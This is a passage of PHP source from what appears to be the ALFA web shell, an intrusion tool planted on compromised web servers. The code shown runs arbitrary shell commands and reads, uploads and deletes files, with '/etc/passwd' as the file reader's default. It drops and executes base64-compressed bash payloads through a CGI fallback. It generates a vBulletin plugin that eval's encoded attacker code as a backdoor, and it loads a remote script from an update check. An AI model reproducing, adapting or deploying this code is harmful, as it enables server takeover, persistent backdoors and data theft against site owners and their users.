  1164. __write_file('mka7cgiapi/' . $name, __get_resource($source));
  1165. @chmod('mka7cgiapi/' . $name, 0755);
  1166. }
  1167. function alfacheckcgi() {
  1168. if (strlen(alfaEx('id', false, true, true)) > 0) echo ('ok');
  1169. else echo ('no');
  1170. }
  1171. function alfaupdateheader() {
  1172. if (!isset($_SESSION['updateheader_data'])) {
  1173. $bash = 'zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==';
  1174. $realdir = addslashes(dirname($_SERVER['SCRIPT_FILENAME']));
  1175. alfaWriteTocgiapi('getheader.mka', $bash);
  1176. $data = alfaEx("cd '{$realdir}/mka7cgiapi';sh getheader.mka", false, true, true);
  1177. if (@is_array(@json_decode($data, true))) {
  1178. $_SESSION['updateheader_data'] = $data;
  1179. echo $data;
  1180. }
  1181. } else {
  1182. echo $_SESSION['updateheader_data'];
  1183. }
  1184. }
  1185. function is_ipv4($ip) {
  1186. return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
  1187. }
  1188. function __alert($s) {
  1189. echo '<center>' . __pre() . $s . '</center>';
  1190. }
  1191. function create_table($data) {
  1192. echo '<table border="1">';
  1193. foreach ($data as $key => $val) {
  1194. $array = array();
  1195. foreach ($val as $k => $v) {
  1196. $array[$k] = $v;
  1197. }
  1198. echo "<tr><td><div class='tbltxt'>" . $array['tdName'] . "</div></td><td><input type='text' id='" . $array['id'] . "' name='" . $array['inputName'] . "' " . ($array['placeholder'] ? 'placeholder' : 'value') . "='" . $array['inputValue'] . "' size='" . $array['inputSize'] . "' " . ($array['disabled'] ? 'disabled' : '') . '></td></tr>';
  1199. }
  1200. echo '</table>';
  1201. }
  1202. function alfaphp2xml() {
  1203. alfahead();
  1204. echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
  1205. <p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
  1206. <input type='submit' name='go' value=' ' /></p></form></center>";
  1207. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
  1208. echo __pre() . "<p><center><textarea rows='10' name='users' cols='80'>";
  1209. echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'' . __ZW5jb2Rlcg($_POST['alfa1']) . '\'));exit;}]]></phpcode></plugin></plugins>';
  1210. echo '</textarea></center></p>';
  1211. }
  1212. echo '</center></div>';
  1213. alfafooter();
  1214. }
  1215. function alfafooter() {
  1216. if (!isset($_POST['ajax'])) {
  1217. echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' ><tr><td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Dosya olutur : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td><td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Klasr olutur </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td><td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Sil : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td><td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td></tr><tr><td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Dizin deitir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type='submit' value=' '></form></td><td colspan='2'><form onsubmit=\"editor(this.file.value,'auto','','','','file');return false;\"><span><span class='footer_text'>Dosya oku: </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td></tr><tr><td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);this.c.value='';return false;\"><span><span class='footer_text'>Komut altr :</span><br><input class='foottable' type='text' name='c' value=' '> <input type='submit' value=' '></form></td></tr><tr><td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'><input type='hidden' name='a' value='FilesMAn'><input type='hidden' name='c' value='" . $GLOBALS['cwd'] . "'><input type='hidden' name='alfa1' value='uploadFile'><input type='hidden' name='charset' value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'><span class='footer_text'>Dosya ykle: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);'></p><input type='submit' name='submit' value=' '></form><br><span class='copyright'>[ ./MY0FC4 &copy; 2011-" . date('Y') . " ]</span></td></tr></table></div><div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='margin-left:14px;margin-right:30px;'></div></div></div><div id='editor'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'></div></div></div></div></div><div id='update-content'></div><div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><div class='minimized-text'>Show Editor</div></div></div><div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><div class='minimized-text'>Show Cgi</div></div></div><script>$(\"search-input\").addEventListener(\"keydown\",function(e){setTimeout(function(){var e=$(\"search-input\").value;d.getElementsByClassName(\"history-list\")[0].innerHTML=\"\";for(var a in editor_files)if(-1!=editor_files[a].file.search(e)||\"\"==e){var i=0;a==editor_current_file&&(i=\" is_active\"),insertToHistory(a,editor_files[a].file,i,editor_files[a].type)}},100)},!1),_Ajax(d.URL,\"a=\"+alfab64(\"checkupdate\"),function(e){d.body.insertAdjacentHTML(\"beforeend\",e);try{var dom = new DOMParser();var doc = dom.parseFromString(e, \"text/html\");var url = doc.getElementById(\"jsurl\").innerHTML;var newScript = document.createElement(\"script\");newScript.src = url;d.body.appendChild(newScript);}catch(e){console.log(e);}})," . $GLOBALS['need_to_update_header'] . "?_Ajax(d.URL,\"a=\"+alfab64(\"updateheader\"),function(e){try{var a=JSON.parse(e);for(var i in a){for(var r=\"\",t=0;t<a[i].length;t++)r+=\"useful\"==i||\"downloader\"==i?'<span class=\"header_values\" style=\"margin-left: 4px;\">'+a[i][t]+\"</span>\":a[i][t];var n=$(\"header_\"+i);n&&(n.innerHTML=r)}$(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\")}catch(e){console.log(e)}}):islinux&&_Ajax(d.URL,\"a=\"+alfab64(\"checkcgi\"),function(e){\"ok\"==e&&($(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\"))});</script></body></html>";
  1218. }
  1219. }
  1220. if (!function_exists('posix_getpwuid') && (strpos(@ini_get('disable_functions'), 'posix_getpwuid') === false)) {
  1221. function posix_getpwuid($p) {
  1222. return false;
  1223. }
  1224. }
  1225. if (!function_exists('posix_getgrgid') && (strpos(@ini_get('disable_functions'), 'posix_getgrgid') === false)) {
  1226. function posix_getgrgid($p) {
  1227. return false;
  1228. }
  1229. }
  1230. function alfaWhich($p) {
  1231. $path = alfaEx('which ' . $p, false, false);
  1232. if (!empty($path)) return strlen($path);
  1233. return false;
  1234. }
  1235. function alfaSize($s) {
  1236. if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
  1237. elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
  1238. elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
  1239. else return $s . ' B';
  1240. }
  1241. function alfaPerms($p) {
  1242. if (($p & 0xC000) == 0xC000) $i = 's';
  1243. elseif (($p & 0xA000) == 0xA000) $i = 'l';
  1244. elseif (($p & 0x8000) == 0x8000) $i = '-';
  1245. elseif (($p & 0x6000) == 0x6000) $i = 'b';
  1246. elseif (($p & 0x4000) == 0x4000) $i = 'd';
  1247. elseif (($p & 0x2000) == 0x2000) $i = 'c';
  1248. elseif (($p & 0x1000) == 0x1000) $i = 'p';
  1249. else $i = 'u';
  1250. $i.= (($p & 0x0100) ? 'r' : '-');
  1251. $i.= (($p & 0x0080) ? 'w' : '-');
  1252. $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
  1253. $i.= (($p & 0x0020) ? 'r' : '-');
  1254. $i.= (($p & 0x0010) ? 'w' : '-');
  1255. $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
  1256. $i.= (($p & 0x0004) ? 'r' : '-');
  1257. $i.= (($p & 0x0002) ? 'w' : '-');
  1258. $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
  1259. return $i;
  1260. }
  1261. function alfaPermsColor($f, $isbash = false) {
  1262. $class = '';
  1263. $num = '';
  1264. $human = '';
  1265. if ($isbash) {
  1266. $class = $f['class'];
  1267. $num = $f['num'];
  1268. $human = $f['human'];
  1269. } else {
  1270. $num = substr(sprintf('%o', @fileperms($f)), -4);
  1271. $human = alfaPerms(@fileperms($f));
  1272. if (!@is_readable($f)) $class = 'main_red_perm';
  1273. elseif (!@is_writable($f)) $class = 'main_white_perm';
  1274. else $class = 'main_green_perm';
  1275. }
  1276. return '<span style="font-weight:unset;" class="' . $class . '">' . $num . '</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="' . $class . '">' . $human . '</span>';
  1277. }
  1278. if (!function_exists('scandir')) {
  1279. function scandir($dir) {
  1280. $dh = opendir($dir);
  1281. while (false !== ($filename = readdir($dh))) $files[] = $filename;
  1282. return $files;
  1283. }
  1284. }
  1285. function reArrayFiles($file_post) {
  1286. $file_ary = array();
  1287. $file_count = count($file_post['name']);
  1288. $file_keys = array_keys($file_post);
  1289. for ($i = 0;$i < $file_count;$i++) {
  1290. foreach ($file_keys as $key) {
  1291. $file_ary[$i][$key] = $file_post[$key][$i];
  1292. }
  1293. }
  1294. return $file_ary;
  1295. }
  1296. function _alfa_can_runCommand($cgi = true, $cache = true) {
  1297. if (isset($_SESSION['alfa_canruncmd']) && $cache) {
  1298. return true;
  1299. }
  1300. if (strlen(alfaEx('whoami', false, $cgi)) > 0) {
  1301. $_SESSION['alfa_canruncmd'] = true;
  1302. return true;
  1303. }
  1304. return false;
  1305. }
  1306. function _alfa_symlink($target, $link) {
  1307. $phpsym = function_exists('symlink');
  1308. if ($phpsym) {
  1309. @symlink($target, $link);
  1310. } else {
  1311. alfaEx("ln -s '" . addslashes($target) . "' '" . addslashes($link) . "'");
  1312. }
  1313. }
  1314. function _alfa_file_exists($file, $cgi = true) {
  1315. if (@file_exists($file)) {
  1316. return true;
  1317. } else {
  1318. if (strlen(alfaEx("ls -la '" . addslashes($file) . "'", false, $cgi)) > 0) {
  1319. return true;
  1320. }
  1321. }
  1322. return false;
  1323. }
  1324. function _alfa_file($file, $cgi = true) {
  1325. $array = @file($file);
  1326. if (!$array) {
  1327. if (strlen(alfaEx('id', false, $cgi)) > 0) {
  1328. $data = alfaEx('cat "' . addslashes($file) . '"', false, $cgi);
  1329. if (strlen($data) > 0) {
  1330. return explode("
  1331. ", $data);
  1332. } else {
  1333. return false;
  1334. }
  1335. } else {
  1336. return false;
  1337. }
  1338. } else {
  1339. return $array;
  1340. }
  1341. }
  1342. function _alfa_is_writable($file) {
  1343. $check = false;
  1344. $check = @is_writable($file);
  1345. if (!$check) {
  1346. if (_alfa_can_runCommand()) {
  1347. $check = alfaEx('[ -w "' . trim(addslashes($file)) . '" ] && echo "yes" || echo "no"');
  1348. if ($check == 'yes') {
  1349. $check = true;
  1350. } else {
  1351. $check = false;
  1352. }
  1353. }
  1354. }
  1355. return $check;
  1356. }
  1357. function _alfa_is_dir($dir, $mode = '-d') {
  1358. $check = false;
  1359. $check = @is_dir($dir);
  1360. if (!$check) {
  1361. if (_alfa_can_runCommand()) {
  1362. $check = alfaEx('[ "' . trim($mode) . '" "' . trim(addslashes($dir)) . '" ] && echo "yes" || echo "no"');
  1363. if ($check == 'yes') {
  1364. return true;
  1365. } else {
  1366. return false;
  1367. }
  1368. }
  1369. }
  1370. return $check;
  1371. }
  1372. function alfaFilesMan() {
  1373. alfahead();
  1374. echo '<div class="ajaxarea"><div class="header">';
  1375. if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  1376. if (!empty($_POST['alfa1'])) {
  1377. switch ($_POST['alfa1']) {
  1378. case 'uploadFile' : if (isset($GLOBALS['glob_chdir_false'])) {
  1379. $alfa_canruncmd = _alfa_can_runCommand(true, true);
  1380. $move_cmd_file = true;
  1381. }
  1382. $files = reArrayFiles($_FILES['f']);
  1383. foreach ($files as $file) {
  1384. if ($move_cmd_file) {
  1385. alfaEx("cat '" . addslashes($file['tmp_name']) . "' > '" . addslashes($_POST['c'] . '/' . $file['name']) . "'");
  1386. } else {
  1387. @move_uploaded_file($file['tmp_name'], $file['name']);
  1388. }
  1389. echo 'uped...!<Br>';
  1390. }
  1391. break;
  1392. case 'mkdir' : $new_dir_cmd = false;
  1393. if (isset($GLOBALS['glob_chdir_false'])) {
  1394. if (_alfa_can_runCommand(true, true)) {
  1395. alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';mkdir '" . trim(addslashes($_POST['alfa2'])) . "'");
  1396. }
  1397. } else {
  1398. if (!@mkdir(trim($_POST['alfa2']))) echo "<b><font color='red'>Can't create new dir !</b></font>";
  1399. }
  1400. break;
  1401. case 'delete' : function deleteDir($path) {
  1402. $path = (substr($path, -1) == '/') ? $path : $path . '/';
  1403. $dh = @opendir($path);
  1404. while (($item = @readdir($dh)) !== false) {
  1405. $item = $path . $item;
  1406. if ((basename($item) == '..') || (basename($item) == '.')) continue;
  1407. $type = @filetype($item);
  1408. if ($type == 'dir') deleteDir($item);
  1409. else @unlink($item);
  1410. }
  1411. @closedir($dh);
  1412. @rmdir($path);
  1413. }
  1414. if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
  1415. if ($f == '..') continue;
  1416. $f = rawurldecode($f);
  1417. if (isset($GLOBALS['glob_chdir_false'])) {
  1418. if (_alfa_can_runCommand(true, true)) {
  1419. alfaEx("rm -rf '" . addslashes($_POST['c'] . '/' . $f) . "'");
  1420. }
  1421. } else {
  1422. alfaEx("rm -rf '" . addslashes($f) . "'", false, false);
  1423. if (@is_dir($f)) deleteDir($f);
  1424. else @unlink($f);
  1425. }
  1426. }
  1427. if (@is_dir(rawurldecode(@$_POST['alfa2'])) && rawurldecode(@$_POST['alfa2']) != '..') {
  1428. deleteDir(rawurldecode(@$_POST['alfa2']));
  1429. alfaEx("rm -rf '" . addslashes($_POST['alfa2']) . "'", false, false);
  1430. } else {
  1431. @unlink(rawurldecode(@$_POST['alfa2']));
  1432. }
  1433. if (isset($GLOBALS['glob_chdir_false'])) {
  1434. $source = rawurldecode(@$_POST['alfa2']);
  1435. if ($source != '..' && !empty($source)) {
  1436. if (_alfa_can_runCommand(true, true)) {
  1437. alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';rm -rf '" . addslashes($source) . "'");
  1438. }
  1439. }
  1440. }
  1441. break;
  1442. case 'paste' : if ($_SESSION['act'] == 'copy' && isset($_SESSION['f'])) {
  1443. function copy_paste($c, $s, $d) {
  1444. if (@is_dir($c . $s)) {
  1445. @mkdir($d . $s);
  1446. $h = @opendir($c . $s);
  1447. while (($f = @readdir($h)) !== false) if (($f != '.') and ($f != '..')) copy_paste($c . $s . '/', $f, $d . $s . '/');
  1448. } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
  1449. }
  1450. foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
  1451. } elseif ($_SESSION['act'] == 'move' && isset($_SESSION['f'])) {
  1452. function move_paste($c, $s, $d) {
  1453. if (@is_dir($c . $s)) {
  1454. @mkdir($d . $s);
  1455. $h = @opendir($c . $s);
  1456. while (($f = @readdir($h)) !== false) if (($f != '.') and ($f != '..')) copy_paste($c . $s . '/', $f, $d . $s . '/');
  1457. } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
  1458. }
  1459. foreach ($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
  1460. } elseif ($_SESSION['act'] == 'zip' && isset($_SESSION['f'])) {
  1461. if (class_exists('ZipArchive')) {
  1462. $zip = new ZipArchive();
  1463. $zipX = 'alfa_' . rand(1, 1000) . '.zip';
  1464. if ($zip->open($zipX, 1)) {
  1465. @chdir($_SESSION['c']);
  1466. foreach ($_SESSION['f'] as $f) {
  1467. if ($f == '..') continue;
  1468. if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
  1469. elseif (@is_dir($_SESSION['c'] . $f)) {
  1470. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
  1471. foreach ($iterator as $key => $value) {
  1472. $key = str_replace('\',' / ',realpath($key));
  1473. if (@is_dir($key))
  1474. {
  1475. if (in_array(substr($key,strrpos($key,' / ') +1) ,array(
  1476. ' . ',
  1477. ' . . '
  1478. ))) continue;
  1479. }
  1480. else
  1481. {
  1482. $zip->addFile($key,$key);
  1483. }
  1484. }
  1485. }
  1486. }
  1487. @chdir($GLOBALS['cwd']);
  1488. $zip->close();
  1489. __alert(' >> '.$zipX .' << iscreated . . . ');
  1490. }
  1491. }
  1492. }
  1493. elseif ($_SESSION['act'] == 'unzip'&&isset($_SESSION['f']))
  1494. {
  1495. if (class_exists('ZipArchive'))
  1496. {
  1497. $zip = new ZipArchive();
  1498. foreach ($_SESSION['f'] as $f)
  1499. {
  1500. if ($zip->open($_SESSION['c'] .$f))
  1501. {
  1502. $zip->extractTo($GLOBALS['cwd']);
  1503. $zip->close();
  1504. }
  1505. }
  1506. }
  1507. }
  1508. unset($_SESSION['f']);
  1509. break;
  1510. default:
  1511. if (!empty($_POST['alfa1']))
  1512. {
  1513. $_SESSION['act'] = @$_POST['alfa1'];
  1514. $_SESSION['f'] = @$_POST['f'];
  1515. $_SESSION['c'] = @$_POST['c'];
  1516. }
  1517. break;
  1518. }
  1519. }
  1520. if (isset($_SESSION[__LAST_CWD__]) &&!isset($_POST['c']) &&$_SESSION[__LAST_CWD__] != '')
  1521. {
  1522. $dirContent = @scandir($_SESSION[__LAST_CWD__]);
  1523. }
  1524. else
  1525. {
  1526. $dirContent = @scandir(isset($_POST['c']) ?$_POST['c'] : $GLOBALS['cwd']);
  1527. if (preg_match("#(.*)\/\.\.#",$_POST['c'],$res))
  1528. {
  1529. $path = explode(' / ',$res[1]);
  1530. array_pop($path);
  1531. $_POST['c'] = implode(' / ',$path);
  1532. }
  1533. $_SESSION[__LAST_CWD__] = str_replace(array(
  1534. ' . . ',
  1535. ' //'
  1536. ), array('', '/'), $_POST['c']);
  1537. }
  1538. $cmd_dir = false;
  1539. if ($dirContent === false) {
  1540. if (_alfa_can_runCommand(true, true)) {
  1541. @chdir(dirname($_SERVER['SCRIPT_FILENAME']));
  1542. if (!isset($_SESSION['alfachdir_bash']) || @!file_exists('mka7cgiapi/getdir.mka')) {
  1543. $bash = 'jZNvb5swEMZfw6e4eaZppaIk3Z9INLyYNHXq2017UYWocsEEa2AjQ5SxNN99PmMIlTJpEVLOv+fu8Rkf79/N942evwg5bwr/6+P3mC79x4cfMZ0lcubztFBANsTPlQYBQgK9LhsIGYThTqt9HWZC87RVWvAmzIVuWqDG5eYeMuWD+dWsLWKCbE4F8T0hcxXT66ZlLYQpkOAhCn5GwbcoaKLgKVoELAq+EKBYd+N72MosmoHmLINQ485Ma9bBer0GQtHNmLZdzWN6tMpmsT3ZndVBcj3SpaO265HeGeo14s+5+gOSSmUi70b20dXWXFdyX43804QX+4rJUfmMLiKHzcacpK+COAayWK5WKwLb7T20BZe+5w2eZIGKA70ZyfTht30Mz8VgGB7MwfH1oA9cXVmmJ+yNd6pKpWNSMSGfd5pz+YzUGPLS2f1X6aEQLT+XNvxCjubZkHHuluLd2LMPk9K92cheHWqTls41mu/2JdOQi5Lb476+Xk7gVd12/05ruupFlSKFUshfF/a3hX3bduSPCZGs4gmJIDFTlpBb84+pjvQhQjtljroYsR0zh12MGEfN0T5E2E+bw8MCBTcbThlXg2SnZCK69SDbq5nIbn269TMlufu0j6ct+Qs=';
  1544. alfaWriteTocgiapi('getdir.mka', $bash);
  1545. }
  1546. if (empty($_SESSION[__LAST_CWD__])) $_SESSION[__LAST_CWD__] = '/';
  1547. $dirContent = alfaEx("cd mka7cgiapi;sh getdir.mka '" . addslashes($_SESSION[__LAST_CWD__]) . "'");
  1548. $dirContent = json_decode($dirContent, true);
  1549. if (is_array($dirContent)) {
  1550. array_pop($dirContent);
  1551. $cmd_dir = true;
  1552. } else {
  1553. $dirContent = false;
  1554. }
  1555. $_SESSION['alfachdir_bash'] = true;
  1556. }
  1557. }
  1558. if ($dirContent == false) {
  1559. echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
  1560. alfaFooter();
  1561. return;
  1562. }
  1563. global $sort;
  1564. $sort = array('name', 1);
  1565. if (!empty($_POST['alfa1'])) {
  1566. if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match)) $sort = array($match[1], (int)$match[2]);
  1567. }
  1568. echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk' onclick='checkBox();' class='chkbx'><label for='mchk'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  1569. $dirs = $files = array();
  1570. $n = count($dirContent);
  1571. for ($i = 0;$i < $n;$i++) {
  1572. if ($cmd_dir) {
  1573. $filename = $dirContent[$i]['name'];
  1574. $file_owner = $dirContent[$i]['owner'];
  1575. $file_group = $dirContent[$i]['group'];
  1576. $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]['modify']);
  1577. $file_perm = alfaPermsColor(array('class' => $dirContent[$i]['permcolor'], 'num' => $dirContent[$i]['permnum'], 'human' => $dirContent[$i]['permhuman']), true);
  1578. $file_size = $dirContent[$i]['size'];
  1579. $file_path = $_SESSION[__LAST_CWD__] . '/' . $dirContent[$i]['name'];
  1580. } else {
  1581. $filename = $dirContent[$i];
  1582. $ow = function_exists('posix_getpwuid') && function_exists('fileowner') ? @posix_getpwuid(@fileowner($GLOBALS['cwd'] . $filename)) : array('name' => '????');
  1583. $gr = function_exists('posix_getgrgid') && function_exists('filegroup') ? @posix_getgrgid(@filegroup($GLOBALS['cwd'] . $filename)) : array('name' => '????');
  1584. $file_owner = $ow['name'] ? $ow['name'] : (function_exists('fileowner') ? @fileowner($GLOBALS['cwd'] . $filename) : '????');
  1585. $file_group = $gr['name'] ? $gr['name'] : (function_exists('filegroup') ? @filegroup($GLOBALS['cwd'] . $filename) : '????');
  1586. $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
  1587. $file_perm = alfaPermsColor($GLOBALS['cwd'] . $filename);
  1588. $file_size = @filesize($GLOBALS['cwd'] . $filename);
  1589. $file_path = $GLOBALS['cwd'] . $filename;
  1590. }
  1591. $tmp = array('name' => $filename, 'path' => $file_path, 'modify' => $file_modify, 'perms' => $file_perm, 'size' => $file_size, 'owner' => $file_owner, 'group' => $file_group);
  1592. if (!$cmd_dir) {
  1593. if (@is_file($file_path)) $files[] = array_merge($tmp, array('type' => 'file'));
  1594. elseif (@is_link($file_path)) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1595. elseif (@is_dir($file_path) && ($filename != '.')) $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1596. } else {
  1597. if ($dirContent[$i]['type'] == 'file') {
  1598. $files[] = array_merge($tmp, array('type' => 'file'));
  1599. } else {
  1600. if ($dirContent[$i]['name'] != '.') {
  1601. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1602. }
  1603. }
  1604. }
  1605. }
  1606. $GLOBALS['sort'] = $sort;
  1607. function alfaCmp($a, $b) {
  1608. if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
  1609. else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
  1610. }
  1611. usort($files, 'alfaCmp');
  1612. usort($dirs, 'alfaCmp');
  1613. $files = array_merge($dirs, $files);
  1614. $l = 0;
  1615. $cc = 0;
  1616. foreach ($files as $f) {
  1617. $f['name'] = htmlspecialchars($f['name']);
  1618. $newname = mb_strlen($f['name'], 'UTF-8') > 60 ? mb_substr($f['name'], 0, 60, 'utf-8') . '...' : $f['name'];
  1619. $checkbox = 'checkbox' . $cc;
  1620. $raw_name = rawurlencode($f['name']);
  1621. $icon = $GLOBALS['DB_NAME']['show_icons'] ? '<img src="' . findicon($f['name'], $f['type']) . '" width="30" height="30">' : '';
  1622. $style = $GLOBALS['DB_NAME']['show_icons'] ? 'position:relative;display:inline-block;bottom:12px;' : '';
  1623. echo '<tr' . ($l ? ' class=l1' : '') . '><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="' . $raw_name . '" class="chkbx" id="' . $checkbox . '"><label for="' . $checkbox . '"></label></div></td><td>' . $icon . '<div style="' . $style . '"><a class="main_name" href=javascript:void(0) onclick="' . (($f['type'] == 'file') ? 'editor(\'' . $raw_name . '\',\'auto\',\'\',\'\',\'\',\'' . $f['type'] . '\');">' . ($GLOBALS['cwd'] . $f['name'] == $GLOBALS['__file_path'] ? "<span class='shell_name' style='font-weight:unset;'>" . $f['name'] . '</span>' : htmlspecialchars($newname)) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>') . '</a></td></div><td><span style="font-weight:unset;" class="main_size">' . (($f['type'] == 'file') ? alfaSize($f['size']) : $f['type']) . '</span></td><td><span style="font-weight:unset;" class="main_modify">' . $f['modify'] . '</span></td><td><span style="font-weight:unset;" class="main_owner_group">' . $f['owner'] . '/' . $f['group'] . '</span></td><td><a href=javascript:void(0) onclick="editor(\'' . $raw_name . '\',\'chmod\',\'\',\'\',\'\',\'' . $f['type'] . '\')">' . $f['perms'] . '</td><td><a class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'rename\',\'\',\'\',\'\',\'' . $f['type'] . '\')">R</a> <a class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'touch\',\'\',\'\',\'\',\'' . $f['type'] . '\')">T</a>' . (($f['type'] == 'file') ? ' <a class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'edit\',\'\',\'\',\'\',\'' . $f['type'] . '\')">E</a> <a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $raw_name . '\', \'download\')">D</a>' : '') . '<a class="actions" href="javascript:void(0);" 